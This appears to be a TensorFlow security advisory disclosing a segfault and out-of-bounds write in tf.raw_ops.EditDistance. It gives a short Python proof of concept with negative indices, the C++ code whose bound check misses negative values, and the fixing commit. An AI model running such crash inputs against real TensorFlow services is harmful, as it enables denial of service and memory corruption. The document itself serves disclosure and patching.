Segfault and OOB write due to incomplete validation in `EditDistance` in TensorFlow

Impact

The implementation of tf.raw_ops.EditDistance has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service:

import tensorflow as tf

hypothesis_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64) 
hypothesis_values = tf.constant(0, shape=[3], dtype=tf.int64)
hypothesis_shape = tf.constant(0, shape=[3], dtype=tf.int64)

truth_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64)
truth_values = tf.constant(2, shape=[3], dtype=tf.int64)
truth_shape = tf.constant(2, shape=[3], dtype=tf.int64) 

tf.raw_ops.EditDistance(
  hypothesis_indices=hypothesis_indices,
  hypothesis_values=hypothesis_values,
  hypothesis_shape=hypothesis_shape,
  truth_indices=truth_indices,
  truth_values=truth_values,
  truth_shape=truth_shape)

In multiple places throughout the code, we are computing an index for a write operation:

if (g_truth == g_hypothesis) {
  auto loc = std::inner_product(g_truth.begin(), g_truth.end(),
                                output_strides.begin(), int64_t{0});
  OP_REQUIRES(
      ctx, loc < output_elements,
      errors::Internal("Got an inner product ", loc,
                       " which would require in writing to outside of "
                       "the buffer for the output tensor (max elements ",
                       output_elements, ")"));
  output_t(loc) =
      gtl::LevenshteinDistance<T>(truth_seq, hypothesis_seq, cmp);
  // ...
}

However, the existing validation only checks against the upper bound of the array. Hence, it is possible to write before the array by massaging the input to generate negative values for loc.

Patches

We have patched the issue in GitHub commit 30721cf564cb029d34535446d6a5a6357bebc8e7.